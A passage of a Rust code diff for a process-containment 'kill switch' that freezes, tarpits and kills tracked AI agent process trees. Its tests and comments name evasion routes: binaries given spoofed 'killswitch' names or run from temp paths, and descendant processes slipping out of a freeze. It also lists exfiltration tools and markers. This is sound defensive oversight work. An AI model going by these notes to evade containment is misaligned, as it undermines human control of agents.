writing PID {pid} to '{}': {e}", + procs_file.display() + )) + }) + } + + pub fn freeze(&self) -> KillSwitchResult<()> { + let freeze_file = self.cgroup_dir.join("cgroup.freeze"); + std::fs::write(&freeze_file, "1").map_err(|e| { + KillSwitchError::NativeOsError(format!("Failed writing '1' to cgroup.freeze: {e}")) + })?; + for _ in 0..10 { + if let Ok(state) = std::fs::read_to_string(&freeze_file) { + if state.trim() == "1" { + return Ok(()); + } + } + std::thread::sleep(std::time::Duration::from_millis(5)); + } + Ok(()) + } + + pub fn thaw(&self) -> KillSwitchResult<()> { + let freeze_file = self.cgroup_dir.join("cgroup.freeze"); + std::fs::write(&freeze_file, "0").map_err(|e| { + KillSwitchError::NativeOsError(format!("Failed writing '0' to cgroup.freeze: {e}")) + }) + } + + pub fn member_pids(&self) -> KillSwitchResult> { + let procs_file = self.cgroup_dir.join("cgroup.procs"); + let content = std::fs::read_to_string(&procs_file).map_err(|e| { + KillSwitchError::NativeOsError(format!("Failed reading cgroup.procs: {e}")) + })?; + Ok(content + .lines() + .filter_map(|line| line.trim().parse::().ok()) + .collect()) + } + + pub fn terminate(&self) -> KillSwitchResult<()> { + let kill_file = self.cgroup_dir.join("cgroup.kill"); + if kill_file.exists() && std::fs::write(&kill_file, "1").is_ok() { + return Ok(()); + } + for pid in self.member_pids()? { + unsafe { + let _ = libc::kill(pid as libc::pid_t, libc::SIGKILL); + } + } + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::time::Duration; + + struct ChildCleanupGuard { + children: Vec, + } + + impl ChildCleanupGuard { + fn new() -> Self { + Self { + children: Vec::new(), + } + } + fn push(&mut self, child: Child) { + self.children.push(child); + } + } + + impl Drop for ChildCleanupGuard { + fn drop(&mut self) { + for child in &mut self.children { + let _ = child.kill(); + let _ = child.wait(); + } + } + } + + #[cfg(target_os = "windows")] + #[test] + fn test_windows_job_sandbox_spawns_suspended_verifies_membership_and_contains_descendants() { + let mut cmd = Command::new("cmd.exe"); + cmd.args(["/C", "cmd.exe /C ping -n 25 127.0.0.1 >nul"]); + let mut confined = spawn_confined_process(&mut cmd, "test-agent-win") + .expect("spawn_confined_process must assign suspended child into job and resume"); + let root_pid = confined.pid(); + + // Spawn an uninvolved sibling process OUTSIDE the Job Object to confirm selectivity. + let mut sibling_cmd = Command::new("cmd.exe"); + sibling_cmd.args(["/C", "ping -n 25 127.0.0.1 >nul"]); + let sibling_child = sibling_cmd + .spawn() + .expect("uninvolved sibling should spawn cleanly"); + let sibling_pid = sibling_child.id(); + let mut sibling_guard = ChildCleanupGuard::new(); + sibling_guard.push(sibling_child); + + let mut members = Vec::new(); + for _ in 0..40 { + members = confined.member_pids().unwrap_or_default(); + if members.len() >= 2 { + break; + } + std::thread::sleep(Duration::from_millis(50)); + } + + assert!( + members.contains(&root_pid), + "Root PID {root_pid} must be inside Job Object: {members:?}" + ); + assert!( + members.len() >= 2, + "Expected spawned nested descendant inside Job Object, got {members:?}" + ); + assert!( + !members.contains(&sibling_pid), + "Uninvolved sibling PID {sibling_pid} must NOT appear in agent Job Object" + ); + + let freezer = NativeProcessFreezer::new(); + let job = confined.job.as_ref().expect("Windows job handle present"); + let report = job + .freeze_members(&freezer) + .expect("Job freeze_members must succeed"); + assert!(report.frozen_pids.len() >= 2); + assert!(!report.frozen_pids.contains(&sibling_pid)); + + confined + .terminate(0) + .expect("TerminateJobObject must cleanly kill entire subtree"); + } + + #[cfg(unix)] + fn is_unix_pid_stopped(pid: u32) -> bool { + #[cfg(target_os = "linux")] + { + if let Ok(stat) = std::fs::read_to_string(format!("/proc/{pid}/stat")) { + if let Some(after_comm) = stat.rsplit(") ").next() { + return after_comm.starts_with("T ") || after_comm.starts_with("t "); + } + } + false + } + #[cfg(target_os = "macos")] + { + if let Ok(out) = Command::new("ps") + .args(["-o", "state=", "-p", &pid.to_string()]) + .output() + { + let state = String::from_utf8_lossy(&out.stdout); + return state.trim().starts_with('T'); + } + false + } + #[cfg(not(any(target_os = "linux", target_os = "macos")))] + { + let _ = pid; + false + } + } + + #[cfg(unix)] + #[test] + fn test_unix_subtree_freeze_halts_nested_descendants_while_sparing_sibling() { + let mut guard = ChildCleanupGuard::new(); + + let agent_root = Command::new("sh") + .args(["-c", "sleep 20 & sleep 20"]) + .spawn() + .expect("agent sh subtree must spawn"); + let root_pid = agent_root.id(); + guard.push(agent_root); + + let sibling = Command::new("sleep") + .arg("20") + .spawn() + .expect("sibling sleep must spawn"); + let sibling_pid = sibling.id(); + guard.push(sibling); + + let mut descendants = Vec::new(); + for _ in 0..40 { + descendants = enumerate_live_descendants(root_pid); + if descendants.len() >= 2 { + break; + } + std::thread::sleep(Duration::from_millis(50)); + } + + assert!( + descendants.contains(&root_pid) && descendants.len() >= 2, + "Expected agent root {root_pid} and spawned child, got {descendants:?}" + ); + assert!( + !descendants.contains(&sibling_pid), + "Sibling {sibling_pid} must never appear in agent descendants" + ); + + let freezer = NativeProcessFreezer::new(); + let report = freeze_process_subtree(root_pid, &freezer) + .expect("freeze_process_subtree must halt agent subtree"); + assert!( + report.frozen_pids.len() >= 2, + "Expected root and descendant PIDs frozen, got {:?}", + report + ); + assert_eq!(report.residual_unfrozen_children, 0); + assert!(!report.frozen_pids.contains(&sibling_pid)); + + for &fpid in &report.frozen_pids { + let mut observed_stopped = false; + for _ in 0..20 { + if is_unix_pid_stopped(fpid) { + observed_stopped = true; + break; + } + std::thread::sleep(Duration::from_millis(25)); + } + assert!( + observed_stopped, + "Expected frozen PID {fpid} to enter kernel Stopped ('T') state" + ); + } + assert!( + !is_unix_pid_stopped(sibling_pid), + "Uninvolved sibling PID {sibling_pid} must remain runnable" + ); + + let _ = resume_process_subtree(root_pid, &freezer); + for &pid in &report.frozen_pids { + unsafe { + let _ = libc::kill(pid as libc::pid_t, libc::SIGKILL); + } + TrackedAgentTreeRegistry::global().unregister_pid(pid); + } + TrackedAgentTreeRegistry::global().unregister_pid(root_pid); + } +} diff --git a/crates/killswitch-core/src/killchain.rs b/crates/killswitch-core/src/killchain.rs index f656583..f337a2b 100644 --- a/crates/killswitch-core/src/killchain.rs +++ b/crates/killswitch-core/src/killchain.rs @@ -17,6 +17,7 @@ use killswitch_types::{ }, }; use parking_lot::{Mutex, RwLock}; +use std::collections::HashSet; use std::net::IpAddr; use std::path::{Path, PathBuf}; use std::sync::Arc; @@ -24,8 +25,17 @@ use std::time::Instant; use sysinfo::System; use tracing::{error, info, warn}; +pub use crate::agent_registry::{ + AgentLineageClass, SubtreeResolution, TrackedAgentRoot, TrackedAgentTreeRegistry, +}; use crate::state_ledger::StateLedger; +/// Resolves an offending PID and all live descendants safely, excluding `std::process::id()`, +/// kernel PIDs `<= 4`, `exclude_pids`, and immutable OS kernel anchors. +pub fn resolve_offending_process_subtree(target_pid: u32, exclude_pids: &HashSet) -> Vec { + crate::job_sandbox::enumerate_process_subtree(target_pid, exclude_pids) +} + pub type HostContainmentManager = KillChainHostManager; /// Master host containment manager coordinating all isolation primitives. @@ -205,6 +215,19 @@ impl KillChainHostManager { reason: &str, level: ContainmentLevel, caller_pid: Option, + ) -> Result { + self.engage_isolation_for_target(operator, reason, level, caller_pid, None) + .await + } + + /// Engages host containment targeting an optional offending PID and its entire descendant subtree. + pub async fn engage_isolation_for_target( + self: &Arc, + operator: &str, + reason: &str, + level: ContainmentLevel, + caller_pid: Option, + target_pid: Option, ) -> Result { // Hold exclusive engagement lock across entire isolation sequence let _engagement_guard = self.engagement_lock.lock().await; @@ -296,6 +319,16 @@ impl KillChainHostManager { level, ContainmentLevel::ProcessFreeze | ContainmentLevel::HermeticIsolation ) { + let mut immune_set = crate::freeze::NativeProcessFreezer::new().get_immune_pids(); + immune_set.insert(std::process::id()); + if let Some(cpid) = caller_pid { + if Some(cpid) != target_pid + && !TrackedAgentTreeRegistry::global().is_tracked_pid(cpid) + { + immune_set.insert(cpid); + } + } + let high_risk_markers = [ "untrusted_payload", "suspicious_exfil", @@ -303,14 +336,23 @@ impl KillChainHostManager { "test_malware", ]; - let candidate_pids: Vec = { + let mut seed_pids: Vec = { let mut sys = self.process_scanner.lock(); sys.refresh_processes_specifics(sysinfo::ProcessRefreshKind::new()); sys.processes() .iter() .filter_map(|(pid_raw, proc)| { let pid = pid_raw.as_u32(); + if immune_set.contains(&pid) { + return None; + } let name = proc.name(); + if is_immutable_os_kernel_pid(pid, name) { + return None; + } + if TrackedAgentTreeRegistry::global().is_tracked_pid(pid) { + return Some(pid); + } if self.process_freezer.is_immune(pid, name) || is_critical_system_pid(pid, name) { @@ -333,20 +375,33 @@ impl KillChainHostManager { .collect() }; - for pid in candidate_pids { - match self.process_freezer.freeze_process(pid) { - Ok(state) => { - frozen_pids.push(pid); - process_records.push(state); - } - Err(err) => { - warn!("⚠️ [KILLCHAIN] Could not freeze PID {}: {}", pid, err); - } + if let Some(tpid) = target_pid { + if !immune_set.contains(&tpid) && !seed_pids.contains(&tpid) { + seed_pids.push(tpid); + } + } + for root_pid in TrackedAgentTreeRegistry::global().tracked_roots() { + if !immune_set.contains(&root_pid) && !seed_pids.contains(&root_pid) { + seed_pids.push(root_pid); } } + + let report = crate::job_sandbox::freeze_subtree_kernel( + &seed_pids, + &immune_set, + self.process_freezer.as_ref(), + ); + for state in report.frozen_records { + if !frozen_pids.contains(&state.pid) { + frozen_pids.push(state.pid); + } + process_records.push(state); + } info!( - "🚨 [KILLCHAIN] Suspended {} untrusted user-space processes.", - frozen_pids.len() + "🚨 [KILLCHAIN] Suspended {} untrusted/subtree processes via {} (job_bound={}).", + frozen_pids.len(), + report.kernel_mechanism, + report.job_bound_pids.len() ); } @@ -540,7 +595,8 @@ impl KillChainHostManager { } crate::tarpit::ActiveProcessTarpit::global().release_all(); - // 2. Resume Frozen Processes + // 2. Resume Frozen Processes and release managed confinement Job Objects + crate::job_sandbox::release_all_sandbox_jobs(); let process_records = self.get_process_records(); for proc in &process_records { if proc.status == killswitch_types::ProcessFreezeStatus::Frozen { @@ -887,6 +943,37 @@ impl HealthProbeRunner for KillChainHostManager { } } +fn is_untrusted_temp_or_public_path(path_or_name: &str) -> bool { + let norm = path_or_name + .trim() + .trim_matches('"') + .trim_matches('\'') + .replace('/', "\\") + .to_ascii_lowercase(); + norm.contains("\\temp\\") + || norm.contains("\\tmp\\") + || norm.contains("\\var\\tmp\\") + || norm.contains("\\dev\\shm\\") + || norm.contains("\\appdata\\local\\temp\\") + || norm.contains("\\users\\public\\") +} + +fn is_exact_killswitch_executable_name(base_lc: &str) -> bool { + let stem = base_lc.strip_suffix(".exe").unwrap_or(base_lc); + matches!( + stem, + "killswitch" + | "killswitch-server" + | "killswitch-cli" + | "killswitch-daemon" + | "killswitch-agent" + | "killswitch-test" + | "oshoosi" + | "oshoosiclaw" + | "osoosi" + ) +} + /// Helper function strictly for immutable OS kernel anchors (PID 0, 1, 4, csrss, smss, wininit, systemd, launchd, etc.). /// Decoupled from developer tools and agent runtimes (wsl.exe, sudo, su, bash, powershell.exe, node, python, cursor, code.exe). pub fn is_immutable_os_kernel_pid(pid: u32, name: &str) -> bool { @@ -899,8 +986,13 @@ pub fn is_immutable_os_kernel_pid(pid: u32, name: &str) -> bool { let base = trimmed.rsplit(['\\', '/']).next().unwrap_or(trimmed); let name_lc = base.to_ascii_lowercase(); - // 2. KillSwitch Self-Preservation - if name_lc.contains("killswitch") || name_lc.contains("osoosi") || name_lc.contains("oshoosi") { + // Reject binaries running from temp/world-writable staging paths before name matching + if is_untrusted_temp_or_public_path(trimmed) { + return false; + } + + // 2. KillSwitch Self-Preservation (exact binary stem, never substring) + if is_exact_killswitch_executable_name(&name_lc) { return true; } @@ -975,23 +1067,36 @@ pub fn is_developer_or_agent_runtime(name: &str) -> bool { ) } -/// Helper function to classify critical system and developer processes. +/// Helper function to classify critical system and developer build/UI infrastructure. +/// +/// NOTE: Privilege escalation binaries (`sudo`, `su`), container/VM runtimes (`wsl*`, `docker*`), +/// shells (`bash`, `sh`, `zsh`, `fish`, `cmd.exe`, `powershell.exe`, `pwsh.exe`), exfiltration tools +/// (`scp`, `sftp`, `rsync`), scripting interpreters (`python*`, `node*`), and tracked AI agent subtrees +/// are NEVER granted ambient immunity. pub fn is_critical_system_pid(pid: u32, name: &str) -> bool { // 1. Kernel, Idle, and Self PIDs if pid <= 4 || pid == std::process::id() { return true; } + // Any PID inside an actively tracked AI agent process tree loses ambient immunity + if TrackedAgentTreeRegistry::global().is_tracked_pid(pid) { + return false; + } + let trimmed = name.trim().trim_matches('"').trim_matches('\''); + if is_untrusted_temp_or_public_path(trimmed) { + return false; + } let base = trimmed.rsplit(['\\', '/']).next().unwrap_or(trimmed); let name_lc = base.to_ascii_lowercase(); - // 2. KillSwitch Self-Preservation - if name_lc.contains("killswitch") || name_lc.contains("osoosi") || name_lc.contains("oshoosi") { + // 2. KillSwitch Self-Preservation (exact stem only) + if is_exact_killswitch_executable_name(&name_lc) { return true; } - // 3. Exhaustive OS and Developer Binary Catalog + // 3. Critical OS Kernel Daemons, UI Hosts, Interactive Terminals, and Build Compilers matches!( name_lc.as_str(), "system" @@ -1031,24 +1136,11 @@ pub fn is_critical_system_pid(pid: u32, name: &str) -> bool { | "code.exe" | "antigravity.exe" | "windowsterminal.exe" + | "wt.exe" + | "cursor.exe" + | "cursor" | "openconsole.exe" | "conhost.exe" - | "powershell.exe" - | "pwsh.exe" - | "cmd.exe" - | "wsl.exe" - | "wslservice.exe" - | "wslhost.exe" - | "vmmem" - | "vmmemwsl" - | "docker.exe" - | "dockerd.exe" - | "python.exe" - | "python" - | "python3" - | "python3.exe" - | "node.exe" - | "node" | "git.exe" | "git" | "cargo.exe" @@ -1068,20 +1160,11 @@ pub fn is_critical_system_pid(pid: u32, name: &str) -> bool { | "dbus-broker" | "networkmanager" | "sshd" + | "ssh" + | "ls" | "tmux" | "screen" - | "sudo" - | "su" | "login" - | "bash" - | "sh" - | "zsh" - | "fish" - | "ls" - | "ssh" - | "scp" - | "sftp" - | "rsync" // Browsers (Never falsely suspended or quarantined) | "chrome.exe" | "chrome" @@ -1095,10 +1178,7 @@ pub fn is_critical_system_pid(pid: u32, name: &str) -> bool { | "opera.exe" | "vivaldi.exe" | "arc.exe" - // IDEs & Developer Toolchains - | "cursor.exe" - | "cursor" - | "windsurf.exe" + // Compilers & Build Toolchains | "devenv.exe" | "rider64.exe" | "idea64.exe" @@ -1128,7 +1208,7 @@ pub fn is_critical_system_pid(pid: u32, name: &str) -> bool { | "make" | "cmake" | "ninja" - // macOS Critical System Daemons, UI & Developer Tools + // macOS Critical System Daemons & Interactive Terminal UI | "launchd" | "windowserver" | "loginwindow" @@ -1276,4 +1356,55 @@ mod tests { ); } } + + #[test] + fn test_immutable_kernel_rejects_spoofed_killswitch_substrings_and_temp_paths() { + assert!(!is_immutable_os_kernel_pid(7777, "killswitch_evil.exe")); + assert!(!is_immutable_os_kernel_pid(7778, "/tmp/killswitch")); + assert!(!is_immutable_os_kernel_pid( + 7779, + "C:\\Users\\Public\\killswitch.exe" + )); + assert!(!is_immutable_os_kernel_pid( + 7780, + "C:\\Users\\Alice\\AppData\\Local\\Temp\\killswitch.exe" + )); + assert!(is_immutable_os_kernel_pid( + std::process::id(), + "/tmp/killswitch_evil.exe" + )); + assert!(is_immutable_os_kernel_pid( + 7781, + "C:\\Program Files\\KillSwitch\\killswitch.exe" + )); + } + + #[test] + fn test_tracked_agent_tree_registry_revokes_immunity_and_resolves_subtree() { + let reg = TrackedAgentTreeRegistry::global(); + let root_pid = 8_001_100; + let child_shell = 8_001_101; + let grandchild_py = 8_001_102; + + reg.register_agent_root(root_pid, "cursor.exe"); + reg.register_child(child_shell, root_pid); + reg.register_child(grandchild_py, child_shell); + + assert!(reg.is_tracked_pid(root_pid)); + assert!(reg.is_tracked_pid(child_shell)); + assert!(reg.is_tracked_pid(grandchild_py)); + assert!(!is_critical_system_pid(grandchild_py, "python3")); + assert!(!is_critical_system_pid(child_shell, "windowsterminal.exe")); + + let subtree = resolve_offending_process_subtree(root_pid, &HashSet::new()); + assert!(subtree.contains(&root_pid)); + assert!(subtree.contains(&child_shell)); + assert!(subtree.contains(&grandchild_py)); + assert!(!subtree.contains(&std::process::id())); + assert!(!subtree.contains(&4)); + + reg.unregister_pid(grandchild_py); + reg.unregister_pid(child_shell); + reg.unregister_pid(root_pid); + } } diff --git a/crates/killswitch-core/src/lib.rs b/crates/killswitch-core/src/lib.rs index 28b0910..81013f3 100644 --- a/crates/killswitch-core/src/lib.rs +++ b/crates/killswitch-core/src/lib.rs @@ -3,10 +3,13 @@ //! Native Zero-OS-Tool containment engine, process freeze, active tarpit, //! 4-tier hybrid operator authentication, TPM 2.0 hardware sealing, and BLAKE3-chained state ledger. +pub mod agent_registry; pub mod auth; pub mod exec_sensor; pub mod fprime; pub mod freeze; +pub mod job_sandbox; +pub use job_sandbox as sandbox; pub mod killchain; pub mod landlock; pub mod peer_pid; @@ -32,13 +35,19 @@ pub use exec_sensor::{ pub use peer_pid::resolve_loopback_peer_pid; +pub use agent_registry::{AgentLineageClass, SubtreeResolution, TrackedAgentRoot}; pub use auth::{FrozenPidsProvider, OperatorAuthManager}; pub use fprime::{FPrimeDispatchResult, FPrimeOpcode, FPrimeSupervisor, FPrimeTopologyStatus}; pub use freeze::NativeProcessFreezer; +pub use job_sandbox::{ + enumerate_live_descendants, enumerate_process_subtree, freeze_process_subtree, + freeze_subtree_kernel, resume_process_subtree, spawn_confined_process, ConfinedChild, + JobSandboxConfig, SubtreeFreezeReport, +}; pub use killchain::{ default_network_isolator, is_critical_system_pid, is_developer_or_agent_runtime, is_immutable_os_kernel_pid, HostContainmentManager, KillChainHostManager, - SimulatedNetworkIsolator, + SimulatedNetworkIsolator, TrackedAgentTreeRegistry, }; pub use landlock::{ apply_landlock_sandbox, get_active_non_loopback_connections, get_landlock_abi_version, diff --git a/crates/killswitch-core/src/tarpit.rs b/crates/killswitch-core/src/tarpit.rs index 044bc62..d041b27 100644 --- a/crates/killswitch-core/src/tarpit.rs +++ b/crates/killswitch-core/src/tarpit.rs @@ -142,12 +142,13 @@ impl ActiveProcessTarpit { unsafe impl Send for SendHandle {} unsafe impl Sync for SendHandle {} - let handles: Vec = unsafe { + unsafe fn snapshot_thread_handles_for_pids( + target_pids: &std::collections::HashSet, + ) -> Result, u32> { let mut list = Vec::new(); let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if snapshot.is_null() { - let win32_code = windows_sys::Win32::Foundation::GetLastError(); - return Err(KillSwitchError::ThreadSnapshotFailed { pid, win32_code }); + return Err(windows_sys::Win32::Foundation::GetLastError()); } let mut entry: THREADENTRY32 = std::mem::zeroed(); @@ -155,7 +156,7 @@ impl ActiveProcessTarpit { if Thread32First(snapshot, &mut entry) != 0 { loop { - if entry.th32OwnerProcessID == pid { + if target_pids.contains(&entry.th32OwnerProcessID) { let h = OpenThread( THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, 0, @@ -165,21 +166,36 @@ impl ActiveProcessTarpit { list.push(SendHandle(h)); } } + entry.dwSize = std::mem::size_of::() as u32; if Thread32Next(snapshot, &mut entry) == 0 { break; } } } CloseHandle(snapshot); - list + Ok(list) + } + + let mut initial_pids = std::collections::HashSet::new(); + initial_pids.insert(pid); + let initial_handles = unsafe { + snapshot_thread_handles_for_pids(&initial_pids) + .map_err(|win32_code| KillSwitchError::ThreadSnapshotFailed { pid, win32_code })? }; - if handles.is_empty() { + if initial_handles.is_empty() { return Err(KillSwitchError::ThreadSnapshotFailed { pid, win32_code: 0x00000002, // ERROR_FILE_NOT_FOUND (no threads found) }); } + // Close initial verification handles cleanly; duty cycles re-snapshot live threads each iteration + // so freshly spawned threads and descendant processes inside the trapped subtree are caught too. + for h in initial_handles { + unsafe { + CloseHandle(h.0); + } + } let run_flag = Arc::new(AtomicBool::new(true)); self.active_traps.insert(pid, run_flag.clone()); @@ -187,16 +203,40 @@ impl ActiveProcessTarpit { tokio::spawn(async move { info!( - "🚨 [ActiveProcessTarpit] Starting asymmetric containment loop on PID {} ({} threads).", - pid, - handles.len() + "🚨 [ActiveProcessTarpit] Starting dynamic subtree thread-resnapshot loop on PID {}.", + pid ); let start = tokio::time::Instant::now(); + let mut last_handles: Vec = Vec::new(); let mut is_suspended = false; + let mut cycle_idx = 0usize; + let mut target_pids = std::collections::HashSet::new(); + target_pids.insert(pid); + + while run_flag.load(Ordering::Acquire) && start.elapsed() < max_duration { + if cycle_idx % 5 == 0 { + let descendants = crate::job_sandbox::enumerate_live_descendants(pid); + target_pids.clear(); + target_pids.insert(pid); + for dpid in descendants { + target_pids.insert(dpid); + } + } + cycle_idx = cycle_idx.wrapping_add(1); - while run_flag.load(Ordering::Relaxed) && start.elapsed() < max_duration { - // Suspend all threads - for &h in &handles { + for h in last_handles.drain(..) { + unsafe { + CloseHandle(h.0); + } + } + + last_handles = match unsafe { snapshot_thread_handles_for_pids(&target_pids) } { + Ok(list) if !list.is_empty() => list, + _ => break, // Process exited cleanly + }; + + // Suspend all currently enumerated threads for this PID and its descendants + for &h in &last_handles { unsafe { SuspendThread(h.0); } @@ -207,7 +247,7 @@ impl ActiveProcessTarpit { let chunk = Duration::from_millis(10); let mut slept = Duration::ZERO; while slept < suspend_interval - && run_flag.load(Ordering::Relaxed) + && run_flag.load(Ordering::Acquire) && start.elapsed() < max_duration { let step = chunk.min(suspend_interval - slept); @@ -215,12 +255,12 @@ impl ActiveProcessTarpit { slept += step; } - if !run_flag.load(Ordering::Relaxed) || start.elapsed() >= max_duration { + if !run_flag.load(Ordering::Acquire) || start.elapsed() >= max_duration { break; } // Briefly resume for observation burst - for &h in &handles { + for &h in &last_handles { unsafe { ResumeThread(h.0); } @@ -230,20 +270,25 @@ impl ActiveProcessTarpit { tokio::time::sleep(burst_interval).await; } - // Cleanup: ensure threads are resumed + // Cleanup: ensure threads are resumed (re-snapshotting if needed) if is_suspended { - for &h in &handles { + let cleanup_handles = if last_handles.is_empty() { + unsafe { snapshot_thread_handles_for_pids(&target_pids).unwrap_or_default() } + } else { + std::mem::take(&mut last_handles) + }; + for h in cleanup_handles { unsafe { let mut count = ResumeThread(h.0); while count > 1 && count != u32::MAX { count = ResumeThread(h.0); } + CloseHandle(h.0); } } } - // Close handles - for h in handles { + for h in last_handles { unsafe { CloseHandle(h.0); } @@ -283,22 +328,35 @@ impl ActiveProcessTarpit { tokio::spawn(async move { info!( - "🚨 [ActiveProcessTarpit] Starting Unix signal duty cycle on PID {}.", + "🚨 [ActiveProcessTarpit] Starting Unix signal subtree duty cycle on PID {}.", pid ); let start = tokio::time::Instant::now(); let mut is_suspended = false; + let mut cycle_idx = 0usize; + let mut target_pids = vec![pid]; + + while run_flag.load(Ordering::Acquire) && start.elapsed() < max_duration { + if cycle_idx % 5 == 0 { + let mut live = crate::job_sandbox::enumerate_live_descendants(pid); + if !live.contains(&pid) { + live.insert(0, pid); + } + target_pids = live; + } + cycle_idx = cycle_idx.wrapping_add(1); - while run_flag.load(Ordering::Relaxed) && start.elapsed() < max_duration { - unsafe { - libc::kill(pid as i32, libc::SIGSTOP); + for &tpid in &target_pids { + unsafe { + libc::kill(tpid as i32, libc::SIGSTOP); + } } is_suspended = true; let chunk = Duration::from_millis(10); let mut slept = Duration::ZERO; while slept < suspend_interval - && run_flag.load(Ordering::Relaxed) + && run_flag.load(Ordering::Acquire) && start.elapsed() < max_duration { let step = chunk.min(suspend_interval - slept); @@ -306,12 +364,14 @@ impl ActiveProcessTarpit { slept += step; } - if !run_flag.load(Ordering::Relaxed) || start.elapsed() >= max_duration { + if !run_flag.load(Ordering::Acquire) || start.elapsed() >= max_duration { break; } - unsafe { - libc::kill(pid as i32, libc::SIGCONT); + for &tpid in target_pids.iter().rev() { + unsafe { + libc::kill(tpid as i32, libc::SIGCONT); + } } is_suspended = false; @@ -319,8 +379,10 @@ impl ActiveProcessTarpit { } if is_suspended { - unsafe { - libc::kill(pid as i32, libc::SIGCONT); + for &tpid in target_pids.iter().rev() { + unsafe { + libc::kill(tpid as i32, libc::SIGCONT); + } } } diff --git a/crates/killswitch-core/tests/empirical_challenge_m2_2.rs b/crates/killswitch-core/tests/empirical_challenge_m2_2.rs index f3fe8f1..ace980b 100644 --- a/crates/killswitch-core/tests/empirical_challenge_m2_2.rs +++ b/crates/killswitch-core/tests/empirical_challenge_m2_2.rs @@ -456,9 +456,6 @@ fn test_windows_critical_os_binaries_immunity_matrix() { "smartscreen.exe", "sihost.exe", "runtimebroker.exe", - "cmd.exe", - "powershell.exe", - "pwsh.exe", "conhost.exe", "windowsterminal.exe", ]; @@ -475,6 +472,21 @@ fn test_windows_critical_os_binaries_immunity_matrix() { name ); } + + // Interactive/scripting LOLBin shells MUST NOT receive unconditional immunity + for shell in [ + "cmd.exe", + "powershell.exe", + "pwsh.exe", + "wsl.exe", + "docker.exe", + ] { + assert!( + !is_critical_system_pid(12345, shell), + "Shell/container runtime '{}' must NOT receive unconditional ambient immunity", + shell + ); + } } #[test] @@ -488,11 +500,6 @@ fn test_linux_baseline_critical_binaries_immunity() { "systemd-resolved", "sshd", "dbus-daemon", - "bash", - "sh", - "zsh", - "fish", - "sudo", "login", "init", ]; @@ -509,6 +516,15 @@ fn test_linux_baseline_critical_binaries_immunity() { name ); } + + // Privilege escalation and Unix shells must NOT receive unconditional immunity + for unshielded in ["bash", "sh", "zsh", "fish", "sudo", "su"] { + assert!( + !is_critical_system_pid(12345, unshielded), + "Linux binary '{}' must NOT receive unconditional ambient immunity", + unshielded + ); + } } #[test] @@ -584,27 +600,37 @@ fn test_developer_tools_and_system_pids_immunity() { "antigravity.exe", "git", "git.exe", - "python", - "python.exe", - "python3", - "python3.exe", - "node", - "node.exe", ]; for name in dev_binaries { assert!( is_critical_system_pid(8888, name), - "Developer binary must be protected: {}", + "Build compiler / VCS binary must stay protected: {}", name ); assert!( freezer.is_immune(8888, name), - "Freezer must consider developer binary immune: {}", + "Freezer must consider build compiler / VCS binary immune: {}", name ); } + // Scripting interpreters (python, node) must NOT receive blanket immunity from containment + for interp in [ + "python", + "python.exe", + "python3", + "python3.exe", + "node", + "node.exe", + ] { + assert!( + !is_critical_system_pid(8888, interp), + "Scripting interpreter '{}' must NOT receive blanket ambient immunity", + interp + ); + } + // Kernel / System PIDs assert!(is_critical_system_pid(0, "arbitrary_name")); assert!(is_critical_system_pid(1, "arbitrary_name")); @@ -632,7 +658,7 @@ fn test_immunity_case_insensitivity_and_path_normalization() { // Linux case variants and paths ("/usr/lib/systemd/systemd", 3000), ("/usr/bin/SYSTEMD-LOGIND", 3001), - ("/bin/bash", 3002), + ("/usr/bin/git", 3002), // macOS case variants and paths ("/System/Library/CoreServices/WindowServer", 4000), ("wInDoWsErVeR", 4001), diff --git a/crates/killswitch-core/tests/phase2_lineage_containment_tests.rs b/crates/killswitch-core/tests/phase2_lineage_containment_tests.rs new file mode 100644 index 0000000..395aa87 --- /dev/null +++ b/crates/killswitch-core/tests/phase2_lineage_containment_tests.rs @@ -0,0 +1,178 @@ +use killswitch_core::agent_registry::AgentLineageClass; +use killswitch_core::auth::OperatorAuthManager; +use killswitch_core::state_ledger::StateLedger; +use killswitch_core::{ + is_critical_system_pid, KillChainHostManager, NativeProcessFreezer, SimulatedNetworkIsolator, + TrackedAgentTreeRegistry, +}; +use killswitch_types::errors::KillSwitchError; +use killswitch_types::status::{ + ContainmentLevel, ProcessFreezer, ProcessIsolationMethod, ProcessIsolationState, +}; +use parking_lot::{Mutex, RwLock}; +use std::collections::HashSet; +use std::path::PathBuf; +use std::sync::Arc; + +struct RegistryCleanupGuard(Vec); + +impl Drop for RegistryCleanupGuard { + fn drop(&mut self) { + let reg = TrackedAgentTreeRegistry::global(); + for &pid in &self.0 { + reg.unregister_pid(pid); + } + } +} + +struct TempDirGuard(PathBuf); + +impl Drop for TempDirGuard { + fn drop(&mut self) { + let _ = std::fs::remove_dir_all(&self.0); + } +} + +#[derive(Default)] +struct RecordingFreezer { + frozen: Mutex>, + resumed: Mutex>, +} + +impl ProcessFreezer for RecordingFreezer { + fn freeze_process(&self, pid: u32) -> Result { + self.frozen.lock().push(pid); + Ok(ProcessIsolationState::new_frozen( + pid, + format!("proc-{pid}"), + None, + ProcessIsolationMethod::NtSuspendProcess, + )) + } + + fn resume_process(&self, pid: u32) -> Result { + self.resumed.lock().push(pid); + let mut s = ProcessIsolationState::new_frozen( + pid, + format!("proc-{pid}"), + None, + ProcessIsolationMethod::NtSuspendProcess, + ); + s.mark_resumed(); + Ok(s) + } + + fn tarpit_process(&self, pid: u32) -> Result { + self.freeze_process(pid) + } + + fn release_tarpit(&self, pid: u32) -> Result { + self.resume_process(pid) + } + + fn is_immune(&self, pid: u32, proc_name: &str) -> bool { + is_critical_system_pid(pid, proc_name) + } +} + +#[tokio::test] +async fn test_phase2_killchain_freezes_entire_agent_subtree_and_spares_host_terminal() { + let base_pid = 810_000 + (std::process::id() % 50_000) * 10; + let host_terminal_pid = base_pid + 1; + let uninvolved_tty_bash = base_pid + 2; + let agent_root_pid = base_pid + 3; + let agent_bash_pid = base_pid + 4; + let agent_python_pid = base_pid + 5; + let agent_curl_pid = base_pid + 6; + + let _cleanup = RegistryCleanupGuard(vec![ + agent_curl_pid, + agent_python_pid, + agent_bash_pid, + agent_root_pid, + ]); + + let reg = TrackedAgentTreeRegistry::global(); + assert!(reg.register_agent_root(agent_root_pid, "openclaw-agent")); + assert!(reg.register_child(agent_bash_pid, agent_root_pid)); + assert!(reg.register_child(agent_python_pid, agent_bash_pid)); + assert!(reg.register_child(agent_curl_pid, agent_python_pid)); + + // Tracked agent descendants lose immunity even if named after common shells/interpreters. + 